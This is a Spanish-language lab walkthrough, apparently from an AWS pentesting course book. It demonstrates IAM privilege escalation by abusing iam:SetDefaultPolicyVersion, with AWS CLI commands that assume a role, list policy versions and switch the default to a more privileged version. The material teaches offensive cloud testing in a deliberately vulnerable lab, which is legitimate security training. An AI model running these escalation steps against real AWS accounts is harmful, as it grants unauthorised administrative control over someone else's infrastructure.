# SetDefaultPolicyVersion

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Al modificar una política, AWS crea automáticamente una nueva versión de la política con los cambios. Esos cambios se pueden deshacer revirtiendo la política a una versión anterior. Los usuarios con el permiso `iam:SetDefaultPolicyVersion` pueden establecer qué versión de la política es la versión predeterminada (activa).

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FKnS4fV7qzH8T4QptKcoO%2Fimage.png?alt=media&#x26;token=9c7c4714-0da9-468f-80db-b24aee05fa7f" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FskklmJWNHbJcZLuIR4kw%2Fimage.png?alt=media&#x26;token=27b6e486-1271-4d28-ac17-8482633cccc2" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FDZAXyUSgxRBrPBvAvZ3e%2Fimage.png?alt=media&#x26;token=d83d6c5f-4b71-4013-a10e-c5683527df2a" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

{% code overflow="wrap" %}

```
aws iam list-attached-user-policies --user-name privesc2-SetExistingDefaultPolicyVersion-user
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F5lA1cDyTfZtAcTNMCdTk%2Fimage.png?alt=media&#x26;token=e8dccf2e-1bed-4e66-8cf1-9854d1aa7ab0" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion --version-id v1
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F0Qfv6j8tjbe8hKFDVjPh%2Fimage.png?alt=media&#x26;token=4de7faf1-2a51-4630-8dd2-2b57dcbf6a74" alt=""><figcaption></figcaption></figure>

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc2-SetExistingDefaultPolicyVersion-role --role-session-name privesc2
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F3qeeTz65PXJoGPPDVIPZ%2Fimage.png?alt=media&#x26;token=dc2f3f17-2172-4c42-ace8-2e4cc225fad7" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc2-SetExistingDefaultPolicyVersion-user**</mark>.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del [el-whoami-de-aws](https://books.spartan-cybersec.com/cpna/introduccion-a-aws/el-whoami-de-aws "mention")

Primero nos autenticamos:

```
aws configure --profile privesc2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F2rhukSEF7B9yrMky3sLw%2Fimage.png?alt=media&#x26;token=6b01ef8d-7751-4c6f-8ef1-8bbb927a404d" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
El token se especificará dentro del archivo plano de credenciales.
{% endhint %}

Y luego validamos con el whoami de AWS:

```bash
aws sts get-caller-identity --profile privesc2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FuBeyutwhIlDddVLHoB4A%2Fimage.png?alt=media&#x26;token=229aeee3-398f-4aba-b354-71aeb6bf6189" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% hint style="info" %}
El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.
{% endhint %}

{% code overflow="wrap" %}

```bash
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc2-SetExistingDefaultPolicyVersion-user --profile privesc2
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fbvx8P1cEv2XbX9Qbsmjr%2Fimage.png?alt=media&#x26;token=11855016-9721-44a8-9331-768be9e218c2" alt=""><figcaption></figcaption></figure>

En este escenario, simplemente tenemos que analizar cuantas versiones tiene nuestra política y luego establecer como predeterminada la política con más privilegios:

{% code overflow="wrap" %}

```
aws iam list-policy-versions --policy-arn arn:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FbEHYETdgWpxDCrSIkks8%2Fimage.png?alt=media&#x26;token=be9c5701-050f-4f9d-962b-9afc60e8685d" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos analizar que la política de nuestro usuario tiene dos versiones.

Y actualmente, la versión de la política está configurada con el valor predeterminado v1.

{% code overflow="wrap" %}

```
aws iam get-policy --policy-arn arn:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FOaiOS7h42KWUXPN7CvYi%2Fimage.png?alt=media&#x26;token=255b5da2-d351-4120-8d44-56a654fdb288" alt=""><figcaption></figcaption></figure>

Ahora simplemente tenemos que configurar que la versión predeterminada para la política sea la versión #2.

{% code overflow="wrap" %}

```bash
aws iam set-default-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion --version-id v2 --profile privesc2
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FmvACSQMzKQ25IFmPKXv6%2Fimage.png?alt=media&#x26;token=5ccbc8f6-ff03-4fcf-8955-65e8acc7a3cc" alt=""><figcaption></figcaption></figure>

Si revisamos ahora nuestra versión de la política actual, lograremos apreciar que tenemos los máximos privilegios.

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FgLYu6WrIuqSxBie9tnUm%2Fimage.png?alt=media&#x26;token=8d1ff582-35b5-4ebc-ac12-dc4228ac46fd" alt=""><figcaption></figcaption></figure>
